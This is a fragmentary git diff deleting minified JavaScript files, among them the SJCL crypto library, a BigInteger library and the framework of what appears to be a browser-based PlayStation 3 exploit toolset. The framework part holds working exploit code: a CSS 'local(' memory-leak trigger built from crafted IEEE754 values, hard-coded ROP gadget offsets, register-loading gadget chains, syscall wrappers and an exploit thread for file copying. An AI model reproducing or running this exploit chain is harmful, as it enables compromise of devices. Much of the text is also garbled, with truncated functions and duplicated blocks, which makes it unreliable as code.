event");document.attachEvent("onload",this.a.loadTimeCollector),document.attachEvent("onmousemove",this.a.mouseCollector),document.attachEvent("keypress",this.a.keyboardCollector)}this.D=!0}},stopCollectors:function(){this.D&&(window.removeEventListener?(window.removeEventListener("load",this.a.loadTimeCollector,!1),window.removeEventListener("mousemove",this.a.mouseCollector,!1),window.removeEventListener("keypress",this.a.keyboardCollector,!1),window.removeEventListener("devicemotion",this.a.accelerometerCollector,!1),window.removeEventListener("touchmove",this.a.touchCollector,!1)):document.detachEvent&&(document.detachEvent("onload",this.a.loadTimeCollector),document.detachEvent("onmousemove",this.a.mouseCollector),document.detachEvent("keypress",this.a.keyboardCollector)),this.D=!1)},addEventListener:function(t,e){this.K[t][this.ga++]=e},removeEventListener:function(t,e){var r,n,i=this.K[t],o=[];for(n in i)i.hasOwnProperty(n)&&i[n]===e&&o.push(n);for(r=0;r=s.iter||64!==s.ts&&96!==s.ts&&128!==s.ts||128!==s.ks&&192!==s.ks&&256!==s.ks||2>s.iv.length||4=e.iter||64!==e.ts&&96!==e.ts&&128!==e.ts||128!==e.ks&&192!==e.ks&&256!==e.ks||!e.iv||2>e.iv.length||4>>n:t[e/32|0]>>>n)&(1<0&&e&&(t[r-1]=sjcl.bitArray.partial(e,t[r-1]&2147483648>>e-1,1)),t},partial:function(t,e,r){return 32===t?e:(r?0|e:e<<32-t)+1099511627776*t},getPartial:function(t){return Math.round(t/1099511627776)||32},equal:function(t,e){if(sjcl.bitArray.bitLength(t)!==sjcl.bitArray.bitLength(e))return!1;var r,n=0;for(r=0;r=32;e-=32)n.push(r),r=0;if(0===e)return n.concat(t);for(i=0;i>>e),r=t[i]<<32-e;return o=t.length?t[t.length-1]:0,s=sjcl.bitArray.getPartial(o),n.push(sjcl.bitArray.partial(e+s&31,e+s>32?r:n.pop(),1)),n},_xor4:function(t,e){return[t[0]^e[0],t[1]^e[1],t[2]^e[2],t[3]^e[3]]},byteswapM:function(t){var e,r;for(e=0;e>>24|r>>>8&65280|(65280&r)<<8|r<<24;return t}},sjcl.misc.hkdf=function(t,e,r,n,i){var o,s,a,c,l,u,h=[];if(i=i||sjcl.hash.sha256,"string"==typeof n&&(n=sjcl.codec.utf8String.toBits(n)),"string"==typeof r?r=sjcl.codec.utf8String.toBits(r):r||(r=[]),s=(o=new sjcl.misc.hmac(r,i)).mac(t),c=sjcl.bitArray.bitLength(s),(l=Math.ceil(e/c))>255)throw new sjcl.exception.invalid("key bit length is too large for hkdf");for(o=new sjcl.misc.hmac(s,i),u=[],a=1;a<=l;a++)o.update(u),o.update(n),o.update([sjcl.bitArray.partial(8,a)]),u=o.digest(),h=sjcl.bitArray.concat(h,u);return sjcl.bitArray.clamp(h,e)}; \ No newline at end of file diff --git a/files/biginteger.pmin.js b/files/biginteger.pmin.js deleted file mode 100644 index 1447744..0000000 --- a/files/biginteger.pmin.js +++ /dev/null @@ -1 +0,0 @@ -function assignToObject(t,e){return"function"!=typeof Object.assign&&Object.defineProperties(Object,{assign:{value:function(t){"use strict";if(null==t)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(t),r=1;rthis.length)&&(e=this.length),this.substring(e-t.length,e)===t}),Array.isArray||(Array.isArray=function(t){return"[object Array]"===Object.prototype.toString.call(t)}),Array.prototype.forEach||(Array.prototype.forEach=function(t,e){e=e||window;for(var r=0;r=e.length?n(t,e):n(e,t)}function i(t,e){for(var r,n=t.length,i=new Array(n),o=y,s=0;se.length?1:-1;for(var r=t.length-1;0<=r;r--)if(t[r]!==e[r])return t[r]>e[r]?1:-1;return 0}function l(t){var e=t.abs();return!e.isUnit()&&(!!(e.equals(2)||e.equals(3)||e.equals(5))||!(e.isEven()||e.isDivisibleBy(3)||e.isDivisibleBy(5))&&(!!e.lesser(49)||void 0))}function u(t,e){for(var r,n,i,o,s=t.prev(),a=s;a.isEven();)a=a.divide(2);for(i=0;i=n)throw new Error(c+" is not a valid digit in base "+e+".")}}if(2<=e&&e<=36&&r<=f/Math.log(e)){var o=parseInt(t,e);if(isNaN(o))throw new Error(c+" is not a valid digit in base "+e+".");return new d(parseInt(t,e))}e=W(e);var s=[],a="-"===t[0];for(i=a?1:0;i"!==t[++i];);s.push(W(t.slice(u+1,i)))}}return Z(s,e,a)};function Z(t,e,r){for(var n=p[0],i=p[1],o=t.length-1;0<=o;o--)n=n.add(t[o].times(i)),i=i.times(e);return r?n.negate():n}function J(t){return t<=35?"0123456789abcdefghijklmnopqrstuvwxyz".charAt(t):"<"+t+">"}function F(t,e){if((e=bigInt(e)).isZero()){if(t.isZero())return{value:[0],isNegative:!1};throw new Error("Cannot convert nonzero numbers to base 0.")}if(e.equals(-1)){if(t.isZero())return{value:[0],isNegative:!1};if(t.isNegative())return{value:[].concat.apply([],Array.apply(null,Array(-t)).map(Array.prototype.valueOf,[1,0])),isNegative:!1};var r=Array.apply(null,Array(t-1)).map(Array.prototype.valueOf,[0,1]);return r.unshift([1]),{value:[].concat.apply([],r),isNegative:!1}}var n=!1;if(t.isNegative()&&e.isPositive()&&(n=!0,t=t.abs()),e.equals(1))return t.isZero()?{value:[0],isNegative:!1}:{value:Array.apply(null,Array(+t)).map(Number.prototype.valueOf,1),isNegative:n};for(var i,o=[],s=t;s.isNegative()||0<=s.compareAbs(e);){s=(i=s.divmod(e)).quotient;var a=i.remainder;a.isNegative()&&(a=e.minus(a).abs(),s=s.next()),o.push(a.toJSNumber())}return o.push(s.toJSNumber()),{value:o.reverse(),isNegative:n}}function H(t,e){var r=F(t,e);return(r.isNegative?"-":"")+r.value.map(J).join("")}function V(t){if(v(+t)){var e=+t;if(e===S(e))return new d(e);throw new Error("Invalid integer: "+t)}var r="-"===t[0];r&&(t=t.slice(1));var n=t.split(/e/i);if(2>>24]^p[o>>16&255]^g[s>>8&255]^d[255&e]^n[u],a=t[o>>>24]^p[s>>16&255]^g[e>>8&255]^d[255&i]^n[u+1],c=t[s>>>24]^p[e>>16&255]^g[i>>8&255]^d[255&o]^n[u+2],e=t[e>>>24]^p[i>>16&255]^g[o>>8&255]^d[255&s]^n[u+3],u+=4,i=f,o=a,s=c;for(y=0;y<4;y++)h[r?3&-y:y]=v[i>>>24]<<24^v[o>>16&255]<<16^v[s>>8&255]<<8^v[255&e]^n[u++],f=i,i=o,o=s,s=e,e=f;return h}function u(t,e){for(var r,n,i=t.F,o=t.b,s=i[0],a=i[1],c=i[2],l=i[3],u=i[4],h=i[5],f=i[6],p=i[7],g=0;g<64;g++)r=(r=g<16?e[g]:(r=e[g+1&15],n=e[g+14&15],e[15&g]=(r>>>7^r>>>18^r>>>3^r<<25^r<<14)+(n>>>17^n>>>19^n>>>10^n<<15^n<<13)+e[15&g]+e[g+9&15]|0))+p+(u>>>6^u>>>11^u>>>25^u<<26^u<<21^u<<7)+(f^u&(h^f))+o[g],p=f,f=h,h=u,u=l+r|0,l=c,c=a,s=r+((a=s)&c^l&(a^c))+(a>>>2^a>>>13^a>>>22^a<<30^a<<19^a<<10)|0;i[0]=i[0]+s|0,i[1]=i[1]+a|0,i[2]=i[2]+c|0,i[3]=i[3]+l|0,i[4]=i[4]+u|0,i[5]=i[5]+h|0,i[6]=i[6]+f|0,i[7]=i[7]+p|0}function A(t,e){var r,n=sjcl.random.K[t],i=[];for(r in n)n.hasOwnProperty(r)&&i.push(n[r]);for(r=0;r>>24]<<24^i[e>>16&255]<<16^i[e>>8&255]<<8^i[255&e],0==t%s&&(e=e<<8^e>>>24^a<<24,a=a<<1^283*(a>>7))),r[t]=r[t-s]^e;for(s=0;t;s++,t--)e=r[3&s?t:t-4],n[s]=t<=4||s<4?e:o[0][i[e>>>24]]^o[1][i[e>>16&255]]^o[2][i[e>>8&255]]^o[3][i[255&e]]},sjcl.cipher.aes.prototype={encrypt:function(e){return t(this,e,0)},decrypt:function(e){return t(this,e,1)},s:[[[],[],[],[],[]],[[],[],[],[],[]]],O:function(){for(var t,e,r,n,i,o,s=this.s[0],a=this.s[1],c=s[4],l=a[4],u=[],h=[],f=0;f<256;f++)h[(u[f]=f<<1^283*(f>>7))^f]=f;for(t=e=0;!c[t];t^=r||1,e=h[e]||1)for(i=(i=e^e<<1^e<<2^e<<3^e<<4)>>8^255&i^99,o=16843009*(n=u[f=u[r=u[l[c[t]=i]=t]]])^65537*f^257*r^16843008*t,n=257*u[i]^16843008*i,f=0;f<4;f++)s[f][t]=n=n<<24^n>>>8,a[f][i]=o=o<<24^o>>>8;for(f=0;f<5;f++)s[f]=s[f].slice(0),a[f]=a[f].slice(0)}},sjcl.bitArray={bitSlice:function(t,e,r){return t=sjcl.bitArray.$(t.slice(e/32),32-(31&e)).slice(1),void 0===r?t:sjcl.bitArray.clamp(t,r-e)},extract:function(t,e,r){var n=Math.floor(-e-r&31);return(-32&(e+r-1^e)?t[e/32|0]<<32-n^t[e/32+1|0]>>>n:t[e/32|0]>>>n)&(1<>e-1,1)),t},partial:function(t,e,r){return 32===t?e:(r?0|e:e<<32-t)+1099511627776*t},getPartial:function(t){return Math.round(t/1099511627776)||32},equal:function(t,e){if(sjcl.bitArray.bitLength(t)!==sjcl.bitArray.bitLength(e))return!1;for(var r=0,n=0;n>>e),r=t[i]<<32-e;return i=t.length?t[t.length-1]:0,t=sjcl.bitArray.getPartial(i),n.push(sjcl.bitArray.partial(e+t&31,32>>24|e>>>8&65280|(65280&e)<<8|e<<24;return t}},sjcl.codec.utf8String={fromBits:function(t){for(var e,r="",n=sjcl.bitArray.bitLength(t),i=0;i>>8>>>8>>>8),e<<=8;return decodeURIComponent(escape(r))},toBits:function(t){t=unescape(encodeURIComponent(t));for(var e=[],r=0,n=0;n>>s)>>>i),s>>c),u=n<>>i)>>>26),i<6?(s=t[r]<<6-i,i+=26,r++):(s<<=6,i-=6);for(;3&n.length&&!e;)n+="=";return n},toBits:function(t,e){t=t.replace(/\s|=/g,"");var r,n,i=[],o=0,s=sjcl.codec.base64.B,a=0;for(e&&(s=s.substr(0,62)+"-_"),r=0;r>>o),a=n<<32-o):a^=n<<32-(o+=6)}return 56&o&&i.push(sjcl.bitArray.partial(56&o,a,1)),i}},sjcl.codec.base64url={fromBits:function(t){return sjcl.codec.base64.fromBits(t,1,1)},toBits:function(t){return sjcl.codec.base64.toBits(t,1)}},sjcl.hash.sha256=function(t){this.b[0]||this.O(),t?(this.F=t.F.slice(0),this.A=t.A.slice(0),this.l=t.l):this.reset()},sjcl.hash.sha256.hash=function(t){return(new sjcl.hash.sha256).update(t).finalize()},sjcl.hash.sha256.prototype={blockSize:512,reset:function(){return this.F=this.Y.slice(0),this.A=[],this.l=0,this},update:function(t){"string"==typeof t&&(t=sjcl.codec.utf8String.toBits(t));var e=this.A=sjcl.bitArray.concat(this.A,t);if(i=this.l,9007199254740991<(t=this.l=i+sjcl.bitArray.bitLength(t)))throw new sjcl.exception.invalid("Cannot hash more than 2^53 - 1 bits");if("undefined"!=typeof Uint32Array){for(var r=new Uint32Array(e),n=0,i=512+i-(512+i&511);i<=t;i+=512)u(this,r.subarray(16*n,16*(n+1))),n+=1;e.splice(0,16*n)}else for(i=512+i-(512+i&511);i<=t;i+=512)u(this,e.splice(0,16));return this},finalize:function(){for(var t=this.A,e=this.F,r=(t=sjcl.bitArray.concat(t,[sjcl.bitArray.partial(1,1)])).length+2;15&r;r++)t.push(0);for(t.push(Math.floor(this.l/4294967296)),t.push(0|this.l);t.length;)u(this,t.splice(0,16));return this.reset(),e},Y:[],b:[],O:function(){function t(t){return 4294967296*(t-Math.floor(t))|0}for(var e,r,n=0,i=2;n<64;i++){for(r=!0,e=2;e*e<=i;e++)if(0==i%e){r=!1;break}r&&(n<8&&(this.Y[n]=t(Math.pow(i,.5))),this.b[n]=t(Math.pow(i,1/3)),n++)}}},sjcl.mode.ccm={name:"ccm",G:[],listenProgress:function(t){sjcl.mode.ccm.G.push(t)},unListenProgress:function(t){-1<(t=sjcl.mode.ccm.G.indexOf(t))&&sjcl.mode.ccm.G.splice(t,1)},fa:function(t){for(var e=sjcl.mode.ccm.G.slice(),r=0;r>>8*o;o++);return o<15-c&&(o=15-c),r=a.clamp(r,8*(15-o)),e=sjcl.mode.ccm.V(t,e,r,n,i,o),s=sjcl.mode.ccm.C(t,s,r,e,i,o),a.concat(s.data,s.tag)},decrypt:function(t,e,r,n,i){i=i||64,n=n||[];var o=sjcl.bitArray,s=o.bitLength(r)/8,a=o.bitLength(e),c=o.clamp(e,a-i),l=o.bitSlice(e,a-i),a=(a-i)/8;if(s<7)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(e=2;e<4&&a>>>8*e;e++);if(e<15-s&&(e=15-s),r=o.clamp(r,8*(15-e)),c=sjcl.mode.ccm.C(t,c,r,l,i,e),t=sjcl.mode.ccm.V(t,c.data,r,n,i,e),!o.equal(c.tag,t))throw new sjcl.exception.corrupt("ccm: tag doesn't match");return c.data},na:function(t,e,r,n,i,o){var s=[],a=sjcl.bitArray,c=a.i;if(n=[a.partial(8,(e.length?64:0)|n-2<<2|o-1)],(n=a.concat(n,r))[3]|=i,n=t.encrypt(n),e.length)for((r=a.bitLength(e)/8)<=65279?s=[a.partial(16,r)]:r<=4294967295&&(s=a.concat([a.partial(16,65534)],[r])),s=a.concat(s,e),e=0;e>>31,t[1]<<1^t[2]>>>31,t[2]<<1^t[3]>>>31,t[3]<<1^135*(t[0]>>>31)]}},sjcl.mode.gcm={name:"gcm",encrypt:function(t,e,r,n,i){var o=e.slice(0);return e=sjcl.bitArray,n=n||[],t=sjcl.mode.gcm.C(!0,t,o,n,r,i||128),e.concat(t.data,t.tag)},decrypt:function(t,e,r,n,i){var o=e.slice(0),s=sjcl.bitArray,a=s.bitLength(o);if(n=n||[],o=(i=i||128)<=a?(e=s.bitSlice(o,a-i),s.bitSlice(o,0,a-i)):(e=o,[]),t=sjcl.mode.gcm.C(!1,t,o,n,r,i),!s.equal(t.tag,e))throw new sjcl.exception.corrupt("gcm: tag doesn't match");return t.data},ka:function(t,e){for(var r,n,i=sjcl.bitArray.i,o=[0,0,0,0],s=e.slice(0),a=0;a<128;a++){for((r=0!=(t[Math.floor(a/32)]&1<<31-a%32))&&(o=i(o,s)),n=0!=(1&s[3]),r=3;0>>1|(1&s[r-1])<<31;s[0]>>>=1,n&&(s[0]^=-520093696)}return o},j:function(t,e,r){var n,i=r.length;for(e=e.slice(0),n=0;ni&&(t=e.hash(t)),r=0;r=1<this.o&&(this.o=s),this.P++,this.b=sjcl.hash.sha256.hash(this.b.concat(r)),this.L=new sjcl.cipher.aes(this.b),i=0;i<4&&(this.h[i]=this.h[i]+1|0,!this.h[i]);i++);}for(i=0;i>>=1;this.c[o].update([c,this.N++,2,e,i,t.length].concat(t))}break;case"string":void 0===e&&(e=t.length),this.c[o].update([c,this.N++,3,e,i,t.length]),this.c[o].update(t);break;default:a=1}if(a)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.m[o]+=e,this.f+=e,s===this.u&&(this.isReady()!==this.u&&A("seeded",Math.max(this.o,this.f)),A("progress",this.getProgress()))},isReady:function(t){return t=this.T[void 0!==t?t:this.M],this.o&&this.o>=t?this.m[0]>this.ba&&(new Date).valueOf()>this.Z?this.J|this.I:this.I:this.f>=t?this.J|this.u:this.u},getProgress:function(t){return t=this.T[t||this.M],this.o>=t||this.f>t?1:this.f/t},startCollectors:function(){if(!this.D){if(this.a={loadTimeCollector:B(this,this.ma),mouseCollector:B(this,this.oa),keyboardCollector:B(this,this.la),accelerometerCollector:B(this,this.ea),touchCollector:B(this,this.qa)},window.addEventListener)window.addEventListener("load",this.a.loadTimeCollector,!1),window.addEventListener("mousemove",this.a.mouseCollector,!1),window.addEventListener("keypress",this.a.keyboardCollector,!1),window.addEventListener("devicemotion",this.a.accelerometerCollector,!1),window.addEventListener("touchmove",this.a.touchCollector,!1);else{if(!document.attachEvent)throw new sjcl.exception.bug("can't attach event");document.attachEvent("onload",this.a.loadTimeCollector),document.attachEvent("onmousemove",this.a.mouseCollector),document.attachEvent("keypress",this.a.keyboardCollector)}this.D=!0}},stopCollectors:function(){this.D&&(window.removeEventListener?(window.removeEventListener("load",this.a.loadTimeCollector,!1),window.removeEventListener("mousemove",this.a.mouseCollector,!1),window.removeEventListener("keypress",this.a.keyboardCollector,!1),window.removeEventListener("devicemotion",this.a.accelerometerCollector,!1),window.removeEventListener("touchmove",this.a.touchCollector,!1)):document.detachEvent&&(document.detachEvent("onload",this.a.loadTimeCollector),document.detachEvent("onmousemove",this.a.mouseCollector),document.detachEvent("keypress",this.a.keyboardCollector)),this.D=!1)},addEventListener:function(t,e){this.K[t][this.ga++]=e},removeEventListener:function(t,e){var r,n,i=this.K[t],o=[];for(n in i)i.hasOwnProperty(n)&&i[n]===e&&o.push(n);for(r=0;r>>n:t[e/32|0]>>>n)&(1<>e-1,1)),t},partial:function(t,e,r){return 32===t?e:(r?0|e:e<<32-t)+1099511627776*t},getPartial:function(t){return Math.round(t/1099511627776)||32},equal:function(t,e){if(sjcl.bitArray.bitLength(t)!==sjcl.bitArray.bitLength(e))return!1;for(var r=0,n=0;n>>e),r=t[i]<<32-e;return o=t.length?t[t.length-1]:0,s=sjcl.bitArray.getPartial(o),n.push(sjcl.bitArray.partial(e+s&31,32>>24|e>>>8&65280|(65280&e)<<8|e<<24;return t}},sjcl.misc.hkdf=function(t,e,r,n,i){var o,s,a,c,l,u,h=[];if(i=i||sjcl.hash.sha256,"string"==typeof n&&(n=sjcl.codec.utf8String.toBits(n)),r="string"==typeof r?sjcl.codec.utf8String.toBits(r):r||[],s=(o=new sjcl.misc.hmac(r,i)).mac(t),c=sjcl.bitArray.bitLength(s),255<(l=Math.ceil(e/c)))throw new sjcl.exception.invalid("key bit length is too large for hkdf");for(o=new sjcl.misc.hmac(s,i),u=[],a=1;a<=l;a++)o.update(u),o.update(n),o.update([sjcl.bitArray.partial(8,a)]),u=o.digest(),h=sjcl.bitArray.concat(h,u);return sjcl.bitArray.clamp(h,e)}; \ No newline at end of file diff --git a/files/framework.pmin.js b/files/framework.pmin.js deleted file mode 100644 index 6cab865..0000000 --- a/files/framework.pmin.js +++ /dev/null @@ -1 +0,0 @@ -var getElapsedTime=function(e){var r=(new Date-e)/1e3,e=Math.round(r%60).toString(),r=Math.floor(r/60).toString();return 0Thread BGXPLOIT_FXCOPY created
    ";for(var k=0;kCopy Object mt_read - Current File Offset: 0x"+(k*t).toString32()+"
    Copy Object mt_write - Data Written: 0x"+t.toString32();if(0Copy Object mt_read - Current File Offset: 0x"+(n*t+a).toString32()+"
    Copy Object mt_write - Data Copied: 0x"+a.toString32()+" bytes"),(g+=syscall32(helper.sc_fs_close,o.fd)+syscall32(helper.sc_fs_close,l.fd)+p).length/2%8!=0)return this.error.code=1717986918,void(this.error.msg+="Invalid SF size: 0x"+(g.length/2).toString(16)+" bytes");u[n]+="
    Copy Object Operations complete";p=createThreadwithOPD(g,0,"BGXPLOIT_FXCOPY",200,2048,prep_threading());0===p.tid&&(this.error.code=2004318071,this.error.msg+="Thread Creation Error"),this.thread_object={tid:p.tid,rret:h,wret:c,log:u,stack_offset:p.stack_offset,sem_id:r,rlen:_,wlen:f}}else this.error.msg+="File Object in mode RW cannot open"}else this.error.msg+="File Object in mode RO cannot open"}var string=function(e,r){function t(e){if(e)return e;throw"string object deleted"}var s=!0===r||!1!==r,o=e||"";if(!1===s&&0\|]+$/.test(r)},this.start_notdot=function(){return/^\./.test(r)},this.filename_notforbidden=function(){return/^(nul|prn|con|lpt[0-9]|com[0-9])(\.|$)/i.test(r)}},validateFileName=function(e){var r=new regexTester(e);return 255 descriptor 0x"+n.fd.toString(16)),helper.cookies.set("udp_socket",n),i=!0,t="\n>@bguerville's PS3 Toolset v"+helper.tversion+" - UDP Debug Broadcast: Hello ;-)\n>UDP Port: "+n.port+"\n>PS3 Socket ID: 0x"+n.fd.toString(16),s=helper.heap.store(t,!0),helper.rop.rrun(syscall32(helper.sys_net_sendto,n.fd,s,t.length,0,n.sock_addr,16))<0?(l(),helper.rop.run(syscall32(helper.sys_net_sendto,n.fd,s,t.length,128,n.sock_addr,16))):o||(e=helper.heap.store(8),(r=helper.rop.rrun(syscall32(helper.sys_net_getsockopt,n.fd,65535,32,e,e+4)))<0&&Logger.debug("UDPBroadcaster.open: getsockopt call returned errno 0x"+helper.memory.upeek32(sysnet.sys_net_errno_loc()).toString(16)),1!==helper.memory.upeek32(e)&&(l(),helper.rop.run(syscall32(helper.sys_net_sendto,n.fd,s,t.length,128,n.sock_addr,16))),helper.heap.free([e])),helper.heap.free([s])),0===r&&0===p&&(p=setInterval(d,2500)),r};var r="\n>PS3 Toolset v"+helper.tversion+" UDP Trace Broadcast: Good Bye";this.opened=function(){return i};var t="";function d(){0 descriptor 0x"+n.fd.toString(16)+" sock_addr at 0x"+n.sock_addr.toString(16)),2147483648 descriptor 0x"+n.fd.toString(16)),helper.cookies.remove("udp_socket"),helper.heap.free([n.sock_addr,e]),i=!1,n.fd=-1,n.sock_addr=0,helper.bc=null)}};function fill(e,r){return hexh2bin(65535&r).repeat((e%2==1?e+1:e)/2)}function hexh2bin(e){return(e||0).toString16()}function hexw2bin(e){return(e||0).toString32()}function hexdw2bin(e){return u64_errchck("hexdw2bin",e=null==e?helper.gtemp_addr:e),e.toString64()}function vhexdw2bin(e){return helper.vtemp_addr=0 64 bit are not supported by this function")}function Gadgets(){var e=helper.swf.getFP9TBase();this.fpdbase=helper.swf.getFP9DBase(),this.fptoc_addr=helper.swf.getFP9TOC(),this.ugadget1_addr=e+521156,this.ugadget2_addr=e+5384,this.ugadget3_addr=e+1774560,this.ugadget4_addr=e+1223552,this.ugadget5_addr=e+209416,this.ugadget6_addr=e+15656,this.ugadget7_addr=e+427072,this.ugadget8_addr=e+521160,this.ugadget9_addr=e+785312,this.ugadget10_addr=e+2545104,this.ugadget11_addr=e+5049600,this.ugadget12_addr=e+459124,this.ugadget13_addr=e+3434548,this.ugadget14_addr=e+4136204,this.ugadget15_addr=e+841316,this.ugadget16_addr=e+740276,this.ugadget17_addr=e+11604,this.ugadget18_addr=e+759384,this.ugadget19_addr=e+1761124,this.ugadget20_addr=e+2540892,this.ugadget21_addr=e+4125300,this.ugadget22_addr=e+915392,this.ugadget23_addr=e+5088440,this.ugadget24_addr=e+719456,this.ugadget25_addr=e+916128,this.ugadget26_addr=e+1190248,this.ugadget27_addr=e+2924,this.ugadget28_addr=e+57036}var libc={memcpy:function(e,r,t){return callf(564,e,r,t)},memcmp:function(e,r,t){return callf(476,e,r,t)},memset:function(e,r,t){return callf(388,e,r,t)},memmove:function(e,r,t){return callf(392,e,r,t)},fopen:function(e,r){return callf(396,e,r)},fclose:function(e){return callf(496,e)},fread:function(e,r,t,s){return callf(480,e,r,t,s)},fwrite:function(e,r,t,s){return callf(512,e,r,t,s)},fseek:function(e,r,t){return callf(400,e,r,t)},rename:function(e,r){return callf(416,e,r)},unlink:function(e){return callf(516,e)},stat:function(e,r){return callf(404,e,r)},mkdir:function(e){return callf(316,e)},opendir:function(e){return callf(372,e)},closedir:function(e){return callf(456,e)},readdir:function(e){return callf(356,e)},rmdir:function(e){return callf(424,e)},Geterrno:function(){return callf(376)},printf:function(e,r,t,s,o,l,n,a){return callf(472,e,r,t,s,o,l,n,a)},sprintf:function(e,r,t,s,o,l,n,a){return callf(352,e,r,t,s,o,l,n,a)}},sysprx={lwmutex_create:function(e,r){return callf(556,e,r)},lwmutex_destroy:function(e){return callf(580,e)},lwmutex_lock:function(e,r){return callf(532,e,r)},lwmutex_unlock:function(e){return callf(536,e)},thread_create:function(e,r,t,s){return callf(272,e,r,t,s)},thread_exit:function(e){return callf(576,e)},sys_malloc:function(e){return call(helper.vshgadgets_box.sysPrxForUser_sys_malloc_opd_addr,e)},sys_free:function(e){return call(helper.vshgadgets_box.sysPrxForUser_sys_free_opd_addr,e)},sys_strlen:function(e){return callf(552,e)}},allocator={malloc:function(e){return call(helper.vshgadgets_box.allocator_malloc_opd_addr,e)},free:function(e){return call(helper.vshgadgets_box.allocator_free_opd_addr,e)}},sysnet={socket:function(e,r,t){return callf(628,e,r,t)},connect:function(e,r,t,s){return callf(608,e,r,t,s)},close:function(e,r){return callf(612,e,r)},recv:function(e,r,t,s){return callf(644,e,r,t,s)},recvfrom:function(e,r,t,s,o,l){return callf(596,e,r,t,s,o,l)},send:function(e,r,t,s){return callf(640,e,r,t,s)},sendto:function(e,r,t,s,o,l){return callf(624,e,r,t,s,o,l)},getsockopt:function(e,r,t,s,o){return callf(604,e,r,t,s,o)},setsockopt:function(e,r,t,s,o){return callf(620,e,r,t,s,o)},select:function(){return callf(600,pt1,pt2,sz)},gethostbyname:function(e){return callf(616,e)},inet_addr:function(e){return callf(636,e)},sys_net_errno_loc:function(){return call(helper.vshgadgets_box.sys_net__sys_net_errno_loc_opd_addr)},sys_net_errno:function(){return helper.memory.upeek32(this.sys_net_errno_loc())}},sdk={cellCryptoPuSha256Hash:function(e,r,t){return call(helper.vshgadgets_box.sdk_C7781115_opd_addr,e,r,t)},cellCryptoPuSha1Hash:function(e,r,t){return call(helper.vshgadgets_box.sdk_C7781115_opd_addr-160,e,r,t)}},buffer=function(){this.create=function(e){var r=helper.swf.getMaxAvailableBufferAllocSize();return r>=1}o.reverse();var a=o.join(""),i=(1<>24&255,e>>16&255,e>>8&255,255&e,r>>24&255,r>>16&255,r>>8&255,255&r),11,52)}function generateExploit(e,r){return generateIEEE754(e,(e<<32|(r>>1)-1)-e)}function findSecBAOffset(e){var r=document.getElementById("explt");r.style.src="local("+generateExploit(e-1024,2176)+")";var t=r.style.src.substr(6,2176).toAscii(),s=e-1020,r=s+t.indexOf("0100000001000000")/2,e=s+t.indexOf("0000100000000012")/2,t=s+t.indexOf("0000100000000014")/2;return rToolset ready","success",5):toast("Xploit Initialization completed with errors
    Check the logs","warning",8),$("#ps3details").html("
    PS3 Firmware: "+r+"
    VSH mode: "+helper.vmode+"
    Kernel mode: "+helper.kmode+"
    Custom Syscalls: "+e+"
    "),s||o.removeClass("ui-state-disabled"),$("#tabs").tabs("enable"),$("#tabs").tabs("option","disabled",[3]),setTimeout(function(){Logger.info("PS3 Firmware: "+r+" VSH mode: "+helper.vmode+" Kernel mode: "+helper.kmode)},200)}else updateErrorDetails("PS3 Firmware: "+r+" XPLOIT ERROR","PS3 Firmware: "+r+" XPLOIT ERROR"),toast("An error occurred during the exploitation process","error",8);else updateErrorDetails("PS3 Firmware version: "+r+" mismatch","PS3 Firmware version vs vsh.self version: mismatch detected"),Logger.warn("If you are using a firmware version spoofer, you should disable it (temporarily) before using the PS3 Toolset."),toast("The firmware on this console is not supported. This problem might be caused by firmware version spoofing.","error",8)}function dummy_frame(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget15_addr)+fill(192,helper.dbyte41)+hexdw2bin(e)}function set_r30_r31(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget5_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(r)}function set_r3to11(e,r,t,s,o,l,n,a,i,p,d){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget4_addr)+fill(80,helper.dbyte41)+fill(12,helper.dbyte41)+hexw2bin(i)+hexw2bin(a)+hexw2bin(l)+hexw2bin(o)+hexw2bin(s)+hexw2bin(t)+hexw2bin(r)+hexw2bin(e)+fill(16,helper.dbyte41)+hexw2bin(n)+fill(32,helper.dbyte41)+hexdw2bin(p)+fill(8,helper.dbyte41)+hexdw2bin(d)}function move_r29_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget7_addr)+fill(112,helper.dbyte41)+hexdw2bin(e)}function move_r31_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget6_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r3_into_r4(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r4_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget14_addr+4)+fill(128,helper.dbyte41)+hexdw2bin(e)}function move_r6_into_r3(e,r,t,s,o){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget18_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(r)+hexdw2bin(t)+hexdw2bin(s)+hexdw2bin(o)}function move_r7_into_r3(e){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget24_addr)+fill(96,helper.dbyte41)+hexdw2bin(e)}function move_r10_into_r3(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget21_addr)+fill(88,helper.dbyte41)+hexdw2bin(e)+hexdw2bin(r)}function set_r29_r31(e,r){return fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr+36)+fill(128,helper.dbyte41)+hexdw2bin(e)+fill(8,helper.dbyte41)+hexdw2bin(r)}function set_r9_r10_r11_words(e,r,t,s,o){return set_r29_r31()+fill(16,helper.dbyte41)+hexdw2bin(helper.gadgets_box.ugadget19_addr)+fill(92,helper.dbyte41)+hexw2bin(e)+hexw2bin(t)+hexw2bin(r)+fill(24,helper.dbyte41)+hexdw2bin(s)+fill(8,helper.dbyte41)+hexdw2bin(o)}function move_r9_into_r3(){var e=helper.heap.store(helper.gadgets_box.ugadget25_addr.toString32()+helper.snull32);return 